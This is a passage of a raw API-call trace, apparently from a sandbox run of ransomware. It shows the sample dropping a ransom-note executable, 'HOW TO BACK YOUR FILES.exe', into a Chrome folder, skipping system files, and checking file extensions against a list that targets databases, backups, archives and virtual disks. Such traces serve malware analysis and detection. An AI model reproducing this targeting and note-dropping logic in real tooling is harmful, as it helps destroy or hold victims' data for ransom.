	[0055.537] lstrcmpiW (lpString1=".pma", lpString2="wmdb") returned -1
	[0055.537] lstrlenW (lpString="wrk") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="wrk") returned -1
	[0055.537] lstrlenW (lpString="xdb") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="xdb") returned -1
	[0055.537] lstrlenW (lpString="xld") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="xld") returned -1
	[0055.537] lstrlenW (lpString="xmlff") returned 5
	[0055.537] lstrcmpiW (lpString1="3.pma", lpString2="xmlff") returned -1
	[0055.538] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x392bb190, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x392bb190, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.538] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.538] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x392bb190, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x392bb190, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0055.538] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0055.538] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7930
	[0055.538] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110"
	[0055.538] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0055.538] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0055.538] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned 62
	[0055.538] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110"
	[0055.538] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.538] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.543] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.543] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x392e12f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x392e12f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.543] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.543] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.543] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.543] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x392e12f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x392e12f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.543] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.543] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.543] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.543] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.543] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe661340, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="58.0.3029.110.manifest", cAlternateFileName="580302~1.MAN")) returned 1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2="Apollon865.txt.exe") returned -1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2=".") returned 1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2="..") returned 1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2="windows") returned -1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2="bootmgr") returned -1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2="temp") returned -1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2="pagefile.sys") returned -1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2="boot") returned -1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2="ids.txt") returned -1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2="ntuser.dat") returned -1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2="perflogs") returned -1
	[0055.543] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2="MSBuild") returned -1
	[0055.544] lstrlenW (lpString="58.0.3029.110.manifest") returned 22
	[0055.544] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*") returned 64
	[0055.544] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="58.0.3029.110.manifest" | out: lpString1="58.0.3029.110.manifest") returned="58.0.3029.110.manifest"
	[0055.544] lstrlenW (lpString="58.0.3029.110.manifest") returned 22
	[0055.544] lstrlenW (lpString="Apollon865") returned 10
	[0055.544] lstrcmpiW (lpString1="0.manifest", lpString2="Apollon865") returned -1
	[0055.544] lstrlenW (lpString=".dll") returned 4
	[0055.544] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2=".dll") returned 1
	[0055.544] lstrlenW (lpString=".lnk") returned 4
	[0055.544] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2=".lnk") returned 1
	[0055.544] lstrlenW (lpString=".ini") returned 4
	[0055.544] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2=".ini") returned 1
	[0055.544] lstrlenW (lpString=".sys") returned 4
	[0055.544] lstrcmpiW (lpString1="58.0.3029.110.manifest", lpString2=".sys") returned 1
	[0055.544] lstrlenW (lpString="58.0.3029.110.manifest") returned 22
	[0055.544] lstrlenW (lpString="bak") returned 3
	[0055.544] lstrcmpiW (lpString1="est", lpString2="bak") returned 1
	[0055.544] lstrlenW (lpString="ba_") returned 3
	[0055.544] lstrcmpiW (lpString1="est", lpString2="ba_") returned 1
	[0055.544] lstrlenW (lpString="dbb") returned 3
	[0055.544] lstrcmpiW (lpString1="est", lpString2="dbb") returned 1
	[0055.544] lstrlenW (lpString="vmdk") returned 4
	[0055.544] lstrcmpiW (lpString1="fest", lpString2="vmdk") returned -1
	[0055.544] lstrlenW (lpString="rar") returned 3
	[0055.544] lstrcmpiW (lpString1="est", lpString2="rar") returned -1
	[0055.544] lstrlenW (lpString="zip") returned 3
	[0055.544] lstrcmpiW (lpString1="est", lpString2="zip") returned -1
	[0055.544] lstrlenW (lpString="tgz") returned 3
	[0055.544] lstrcmpiW (lpString1="est", lpString2="tgz") returned -1
	[0055.544] lstrlenW (lpString="vbox") returned 4
	[0055.544] lstrcmpiW (lpString1="fest", lpString2="vbox") returned -1
	[0055.544] lstrlenW (lpString="vdi") returned 3
	[0055.544] lstrcmpiW (lpString1="est", lpString2="vdi") returned -1
	[0055.544] lstrlenW (lpString="vhd") returned 3
	[0055.544] lstrcmpiW (lpString1="est", lpString2="vhd") returned -1
	[0055.545] lstrlenW (lpString="vhdx") returned 4
	[0055.545] lstrcmpiW (lpString1="fest", lpString2="vhdx") returned -1
	[0055.545] lstrlenW (lpString="avhd") returned 4
	[0055.545] lstrcmpiW (lpString1="fest", lpString2="avhd") returned 1
	[0055.545] lstrlenW (lpString="db") returned 2
	[0055.545] lstrcmpiW (lpString1="st", lpString2="db") returned 1
	[0055.545] lstrlenW (lpString="db2") returned 3
	[0055.545] lstrcmpiW (lpString1="est", lpString2="db2") returned 1
	[0055.545] lstrlenW (lpString="db3") returned 3
	[0055.545] lstrcmpiW (lpString1="est", lpString2="db3") returned 1
	[0055.545] lstrlenW (lpString="dbf") returned 3
	[0055.545] lstrcmpiW (lpString1="est", lpString2="dbf") returned 1
	[0055.545] lstrlenW (lpString="mdf") returned 3
	[0055.545] lstrcmpiW (lpString1="est", lpString2="mdf") returned -1
	[0055.545] lstrlenW (lpString="mdb") returned 3
	[0055.545] lstrcmpiW (lpString1="est", lpString2="mdb") returned -1
	[0055.545] lstrlenW (lpString="sql") returned 3
	[0055.545] lstrcmpiW (lpString1="est", lpString2="sql") returned -1
	[0055.545] lstrlenW (lpString="sqlite") returned 6
	[0055.545] lstrcmpiW (lpString1="nifest", lpString2="sqlite") returned -1
	[0055.545] lstrlenW (lpString="sqlite3") returned 7
	[0055.545] lstrcmpiW (lpString1="anifest", lpString2="sqlite3") returned -1
	[0055.545] lstrlenW (lpString="sqlitedb") returned 8
	[0055.545] lstrcmpiW (lpString1="manifest", lpString2="sqlitedb") returned -1
	[0055.545] lstrlenW (lpString="xml") returned 3
	[0055.545] lstrcmpiW (lpString1="est", lpString2="xml") returned -1
	[0055.545] lstrlenW (lpString="$er") returned 3
	[0055.545] lstrcmpiW (lpString1="est", lpString2="$er") returned 1
	[0055.545] lstrlenW (lpString="4dd") returned 3
	[0055.545] lstrcmpiW (lpString1="est", lpString2="4dd") returned 1
	[0055.545] lstrlenW (lpString="4dl") returned 3
	[0055.545] lstrcmpiW (lpString1="est", lpString2="4dl") returned 1
	[0055.545] lstrlenW (lpString="^^^") returned 3
	[0055.546] lstrcmpiW (lpString1="est", lpString2="^^^") returned 1
	[0055.546] lstrlenW (lpString="abs") returned 3
	[0055.546] lstrcmpiW (lpString1="est", lpString2="abs") returned 1
	[0055.546] lstrlenW (lpString="abx") returned 3
	[0055.546] lstrcmpiW (lpString1="est", lpString2="abx") returned 1
	[0055.546] lstrlenW (lpString="accdb") returned 5
	[0055.546] lstrcmpiW (lpString1="ifest", lpString2="accdb") returned 1
	[0055.546] lstrlenW (lpString="accdc") returned 5
	[0055.546] lstrcmpiW (lpString1="ifest", lpString2="accdc") returned 1
	[0055.546] lstrlenW (lpString="accde") returned 5
	[0055.546] lstrcmpiW (lpString1="ifest", lpString2="accde") returned 1
	[0055.546] lstrlenW (lpString="accdr") returned 5
	[0055.546] lstrcmpiW (lpString1="ifest", lpString2="accdr") returned 1
	[0055.546] lstrlenW (lpString="accdt") returned 5
	[0055.546] lstrcmpiW (lpString1="ifest", lpString2="accdt") returned 1
	[0055.546] lstrlenW (lpString="accdw") returned 5
	[0055.546] lstrcmpiW (lpString1="ifest", lpString2="accdw") returned 1
	[0055.546] lstrlenW (lpString="accft") returned 5
	[0055.546] lstrcmpiW (lpString1="ifest", lpString2="accft") returned 1
	[0055.546] lstrlenW (lpString="adb") returned 3
	[0055.546] lstrcmpiW (lpString1="est", lpString2="adb") returned 1
	[0055.546] lstrlenW (lpString="adb") returned 3
	[0055.546] lstrcmpiW (lpString1="est", lpString2="adb") returned 1
	[0055.546] lstrlenW (lpString="ade") returned 3
	[0055.546] lstrcmpiW (lpString1="est", lpString2="ade") returned 1
	[0055.546] lstrlenW (lpString="adf") returned 3
	[0055.546] lstrcmpiW (lpString1="est", lpString2="adf") returned 1
	[0055.546] lstrlenW (lpString="adn") returned 3
	[0055.546] lstrcmpiW (lpString1="est", lpString2="adn") returned 1
	[0055.546] lstrlenW (lpString="adp") returned 3
	[0055.546] lstrcmpiW (lpString1="est", lpString2="adp") returned 1
	[0055.546] lstrlenW (lpString="alf") returned 3
	[0055.546] lstrcmpiW (lpString1="est", lpString2="alf") returned 1
	[0055.546] lstrlenW (lpString="ask") returned 3
	[0055.546] lstrcmpiW (lpString1="est", lpString2="ask") returned 1
	[0055.547] lstrlenW (lpString="btr") returned 3
	[0055.547] lstrcmpiW (lpString1="est", lpString2="btr") returned 1
	[0055.547] lstrlenW (lpString="cat") returned 3
	[0055.547] lstrcmpiW (lpString1="est", lpString2="cat") returned 1
	[0055.547] lstrlenW (lpString="cdb") returned 3
	[0055.547] lstrcmpiW (lpString1="est", lpString2="cdb") returned 1
	[0055.547] lstrlenW (lpString="ckp") returned 3
	[0055.547] lstrcmpiW (lpString1="est", lpString2="ckp") returned 1
	[0055.547] lstrlenW (lpString="cma") returned 3
	[0055.547] lstrcmpiW (lpString1="est", lpString2="cma") returned 1
	[0055.547] lstrlenW (lpString="cpd") returned 3
	[0055.547] lstrcmpiW (lpString1="est", lpString2="cpd") returned 1
	[0055.547] lstrlenW (lpString="dacpac") returned 6
	[0055.547] lstrcmpiW (lpString1="nifest", lpString2="dacpac") returned 1
	[0055.547] lstrlenW (lpString="dad") returned 3
	[0055.547] lstrcmpiW (lpString1="est", lpString2="dad") returned 1
	[0055.547] lstrlenW (lpString="dadiagrams") returned 10
	[0055.547] lstrcmpiW (lpString1="0.manifest", lpString2="dadiagrams") returned -1
	[0055.547] lstrlenW (lpString="daschema") returned 8
	[0055.547] lstrcmpiW (lpString1="manifest", lpString2="daschema") returned 1
	[0055.547] lstrlenW (lpString="db-journal") returned 10
	[0055.547] lstrcmpiW (lpString1="0.manifest", lpString2="db-journal") returned -1
	[0055.547] lstrlenW (lpString="db-shm") returned 6
	[0055.547] lstrcmpiW (lpString1="nifest", lpString2="db-shm") returned 1
	[0055.547] lstrlenW (lpString="db-wal") returned 6
	[0055.547] lstrcmpiW (lpString1="nifest", lpString2="db-wal") returned 1
	[0055.547] lstrlenW (lpString="dbc") returned 3
	[0055.547] lstrcmpiW (lpString1="est", lpString2="dbc") returned 1
	[0055.547] lstrlenW (lpString="dbs") returned 3
	[0055.547] lstrcmpiW (lpString1="est", lpString2="dbs") returned 1
	[0055.547] lstrlenW (lpString="dbt") returned 3
	[0055.547] lstrcmpiW (lpString1="est", lpString2="dbt") returned 1
	[0055.547] lstrlenW (lpString="dbv") returned 3
	[0055.547] lstrcmpiW (lpString1="est", lpString2="dbv") returned 1
	[0055.547] lstrlenW (lpString="dbx") returned 3
	[0055.548] lstrcmpiW (lpString1="est", lpString2="dbx") returned 1
	[0055.548] lstrlenW (lpString="dcb") returned 3
	[0055.548] lstrcmpiW (lpString1="est", lpString2="dcb") returned 1
	[0055.548] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="chrome.dll" | out: lpString1="chrome.dll") returned="chrome.dll"
	[0055.548] lstrlenW (lpString="chrome.dll") returned 10
	[0055.548] lstrlenW (lpString="Apollon865") returned 10
	[0055.548] lstrlenW (lpString=".dll") returned 4
	[0055.548] lstrcmpiW (lpString1="chrome.dll", lpString2=".dll") returned 1
	[0055.548] lstrlenW (lpString=".lnk") returned 4
	[0055.548] lstrcmpiW (lpString1="chrome.dll", lpString2=".lnk") returned 1
	[0055.548] lstrlenW (lpString=".ini") returned 4
	[0055.548] lstrcmpiW (lpString1="chrome.dll", lpString2=".ini") returned 1
	[0055.548] lstrlenW (lpString=".sys") returned 4
	[0055.548] lstrcmpiW (lpString1="chrome.dll", lpString2=".sys") returned 1
	[0055.548] lstrlenW (lpString="chrome.dll") returned 10
	[0055.548] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="chrome.dll.sig" | out: lpString1="chrome.dll.sig") returned="chrome.dll.sig"
	[0055.548] lstrlenW (lpString="chrome.dll.sig") returned 14
	[0055.548] lstrlenW (lpString="Apollon865") returned 10
	[0055.548] lstrcmpiW (lpString1="me.dll.sig", lpString2="Apollon865") returned 1
	[0055.548] lstrlenW (lpString=".dll") returned 4
	[0055.548] lstrcmpiW (lpString1="chrome.dll.sig", lpString2=".dll") returned 1
	[0055.548] lstrlenW (lpString=".lnk") returned 4
	[0055.548] lstrcmpiW (lpString1="chrome.dll.sig", lpString2=".lnk") returned 1
	[0055.548] lstrlenW (lpString=".ini") returned 4
	[0055.548] lstrcmpiW (lpString1="chrome.dll.sig", lpString2=".ini") returned 1
	[0055.548] lstrlenW (lpString=".sys") returned 4
	[0055.548] lstrcmpiW (lpString1="chrome.dll.sig", lpString2=".sys") returned 1
	[0055.548] lstrlenW (lpString="chrome.dll.sig") returned 14
	[0055.549] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="chrome.exe.sig" | out: lpString1="chrome.exe.sig") returned="chrome.exe.sig"
	[0055.549] lstrlenW (lpString="chrome.exe.sig") returned 14
	[0055.549] lstrlenW (lpString="Apollon865") returned 10
	[0055.549] lstrcmpiW (lpString1="me.exe.sig", lpString2="Apollon865") returned 1
	[0055.549] lstrlenW (lpString=".dll") returned 4
	[0055.549] lstrcmpiW (lpString1="chrome.exe.sig", lpString2=".dll") returned 1
	[0055.549] lstrlenW (lpString=".lnk") returned 4
	[0055.549] lstrcmpiW (lpString1="chrome.exe.sig", lpString2=".lnk") returned 1
	[0055.549] lstrlenW (lpString=".ini") returned 4
	[0055.549] lstrcmpiW (lpString1="chrome.exe.sig", lpString2=".ini") returned 1
	[0055.549] lstrlenW (lpString=".sys") returned 4
	[0055.549] lstrcmpiW (lpString1="chrome.exe.sig", lpString2=".sys") returned 1
	[0055.549] lstrlenW (lpString="chrome.exe.sig") returned 14
	[0055.549] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="chrome_100_percent.pak" | out: lpString1="chrome_100_percent.pak") returned="chrome_100_percent.pak"
	[0055.549] lstrlenW (lpString="chrome_100_percent.pak") returned 22
	[0055.549] lstrlenW (lpString="Apollon865") returned 10
	[0055.549] lstrcmpiW (lpString1="ercent.pak", lpString2="Apollon865") returned 1
	[0055.549] lstrlenW (lpString=".dll") returned 4
	[0055.549] lstrcmpiW (lpString1="chrome_100_percent.pak", lpString2=".dll") returned 1
	[0055.549] lstrlenW (lpString=".lnk") returned 4
	[0055.549] lstrcmpiW (lpString1="chrome_100_percent.pak", lpString2=".lnk") returned 1
	[0055.549] lstrlenW (lpString=".ini") returned 4
	[0055.549] lstrcmpiW (lpString1="chrome_100_percent.pak", lpString2=".ini") returned 1
	[0055.549] lstrlenW (lpString=".sys") returned 4
	[0055.549] lstrcmpiW (lpString1="chrome_100_percent.pak", lpString2=".sys") returned 1
	[0055.549] lstrlenW (lpString="chrome_100_percent.pak") returned 22
	[0055.549] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="chrome_200_percent.pak" | out: lpString1="chrome_200_percent.pak") returned="chrome_200_percent.pak"
	[0055.549] lstrlenW (lpString="chrome_200_percent.pak") returned 22
	[0055.549] lstrlenW (lpString="Apollon865") returned 10
	[0055.549] lstrcmpiW (lpString1="ercent.pak", lpString2="Apollon865") returned 1
	[0055.549] lstrlenW (lpString=".dll") returned 4
	[0055.550] lstrcmpiW (lpString1="chrome_200_percent.pak", lpString2=".dll") returned 1
	[0055.550] lstrlenW (lpString=".lnk") returned 4
	[0055.550] lstrcmpiW (lpString1="chrome_200_percent.pak", lpString2=".lnk") returned 1
	[0055.550] lstrlenW (lpString=".ini") returned 4
	[0055.550] lstrcmpiW (lpString1="chrome_200_percent.pak", lpString2=".ini") returned 1
	[0055.550] lstrlenW (lpString=".sys") returned 4
	[0055.550] lstrcmpiW (lpString1="chrome_200_percent.pak", lpString2=".sys") returned 1
	[0055.550] lstrlenW (lpString="chrome_200_percent.pak") returned 22
	[0055.550] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="chrome_child.dll" | out: lpString1="chrome_child.dll") returned="chrome_child.dll"
	[0055.550] lstrlenW (lpString="chrome_child.dll") returned 16
	[0055.550] lstrlenW (lpString="Apollon865") returned 10
	[0055.550] lstrcmpiW (lpString1="_child.dll", lpString2="Apollon865") returned -1
	[0055.550] lstrlenW (lpString=".dll") returned 4
	[0055.550] lstrcmpiW (lpString1="chrome_child.dll", lpString2=".dll") returned 1
	[0055.550] lstrlenW (lpString=".lnk") returned 4
	[0055.550] lstrcmpiW (lpString1="chrome_child.dll", lpString2=".lnk") returned 1
	[0055.550] lstrlenW (lpString=".ini") returned 4
	[0055.550] lstrcmpiW (lpString1="chrome_child.dll", lpString2=".ini") returned 1
	[0055.550] lstrlenW (lpString=".sys") returned 4
	[0055.550] lstrcmpiW (lpString1="chrome_child.dll", lpString2=".sys") returned 1
	[0055.550] lstrlenW (lpString="chrome_child.dll") returned 16
	[0055.550] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="chrome_child.dll.sig" | out: lpString1="chrome_child.dll.sig") returned="chrome_child.dll.sig"
	[0055.550] lstrlenW (lpString="chrome_child.dll.sig") returned 20
	[0055.550] lstrlenW (lpString="Apollon865") returned 10
	[0055.550] lstrcmpiW (lpString1="ld.dll.sig", lpString2="Apollon865") returned 1
	[0055.550] lstrlenW (lpString=".dll") returned 4
	[0055.550] lstrcmpiW (lpString1="chrome_child.dll.sig", lpString2=".dll") returned 1
	[0055.550] lstrlenW (lpString=".lnk") returned 4
	[0055.550] lstrcmpiW (lpString1="chrome_child.dll.sig", lpString2=".lnk") returned 1
	[0055.550] lstrlenW (lpString=".ini") returned 4
	[0055.550] lstrcmpiW (lpString1="chrome_child.dll.sig", lpString2=".ini") returned 1
	[0055.551] lstrlenW (lpString=".sys") returned 4
	[0055.551] lstrcmpiW (lpString1="chrome_child.dll.sig", lpString2=".sys") returned 1
	[0055.551] lstrlenW (lpString="chrome_child.dll.sig") returned 20
	[0055.551] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="chrome_elf.dll" | out: lpString1="chrome_elf.dll") returned="chrome_elf.dll"
	[0055.551] lstrlenW (lpString="chrome_elf.dll") returned 14
	[0055.551] lstrlenW (lpString="Apollon865") returned 10
	[0055.551] lstrcmpiW (lpString1="me_elf.dll", lpString2="Apollon865") returned 1
	[0055.551] lstrlenW (lpString=".dll") returned 4
	[0055.551] lstrcmpiW (lpString1="chrome_elf.dll", lpString2=".dll") returned 1
	[0055.551] lstrlenW (lpString=".lnk") returned 4
	[0055.551] lstrcmpiW (lpString1="chrome_elf.dll", lpString2=".lnk") returned 1
	[0055.551] lstrlenW (lpString=".ini") returned 4
	[0055.551] lstrcmpiW (lpString1="chrome_elf.dll", lpString2=".ini") returned 1
	[0055.551] lstrlenW (lpString=".sys") returned 4
	[0055.551] lstrcmpiW (lpString1="chrome_elf.dll", lpString2=".sys") returned 1
	[0055.551] lstrlenW (lpString="chrome_elf.dll") returned 14
	[0055.551] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="chrome_watcher.dll" | out: lpString1="chrome_watcher.dll") returned="chrome_watcher.dll"
	[0055.551] lstrlenW (lpString="chrome_watcher.dll") returned 18
	[0055.551] lstrlenW (lpString="Apollon865") returned 10
	[0055.551] lstrcmpiW (lpString1="atcher.dll", lpString2="Apollon865") returned 1
	[0055.551] lstrlenW (lpString=".dll") returned 4
	[0055.551] lstrcmpiW (lpString1="chrome_watcher.dll", lpString2=".dll") returned 1
	[0055.551] lstrlenW (lpString=".lnk") returned 4
	[0055.551] lstrcmpiW (lpString1="chrome_watcher.dll", lpString2=".lnk") returned 1
	[0055.551] lstrlenW (lpString=".ini") returned 4
	[0055.551] lstrcmpiW (lpString1="chrome_watcher.dll", lpString2=".ini") returned 1
	[0055.551] lstrlenW (lpString=".sys") returned 4
	[0055.551] lstrcmpiW (lpString1="chrome_watcher.dll", lpString2=".sys") returned 1
	[0055.551] lstrlenW (lpString="chrome_watcher.dll") returned 18
	[0055.551] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="d3dcompiler_47.dll" | out: lpString1="d3dcompiler_47.dll") returned="d3dcompiler_47.dll"
	[0055.552] lstrlenW (lpString="d3dcompiler_47.dll") returned 18
	[0055.552] lstrlenW (lpString="Apollon865") returned 10
	[0055.552] lstrcmpiW (lpString1="ler_47.dll", lpString2="Apollon865") returned 1
	[0055.552] lstrlenW (lpString=".dll") returned 4
	[0055.552] lstrcmpiW (lpString1="d3dcompiler_47.dll", lpString2=".dll") returned 1
	[0055.552] lstrlenW (lpString=".lnk") returned 4
	[0055.552] lstrcmpiW (lpString1="d3dcompiler_47.dll", lpString2=".lnk") returned 1
	[0055.552] lstrlenW (lpString=".ini") returned 4
	[0055.552] lstrcmpiW (lpString1="d3dcompiler_47.dll", lpString2=".ini") returned 1
	[0055.552] lstrlenW (lpString=".sys") returned 4
	[0055.552] lstrcmpiW (lpString1="d3dcompiler_47.dll", lpString2=".sys") returned 1
	[0055.552] lstrlenW (lpString="d3dcompiler_47.dll") returned 18
	[0055.552] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="default_apps" | out: lpString1="default_apps") returned="default_apps"
	[0055.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0055.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x5c8f30
	[0055.552] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0055.552] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7689b536, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x3358, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eventlog_provider.dll", cAlternateFileName="EVENTL~1.DLL")) returned 1
	[0055.554] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2="Apollon865.txt.exe") returned 1
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2=".") returned 1
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2="..") returned 1
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2="windows") returned -1
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2="bootmgr") returned 1
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2="temp") returned -1
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2="pagefile.sys") returned -1
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2="boot") returned 1
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2="ids.txt") returned -1
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2="ntuser.dat") returned -1
	[0055.646] lstrcmpiW (lpString1="eventlog_provider.dll", lpString2="perflogs") returned -1
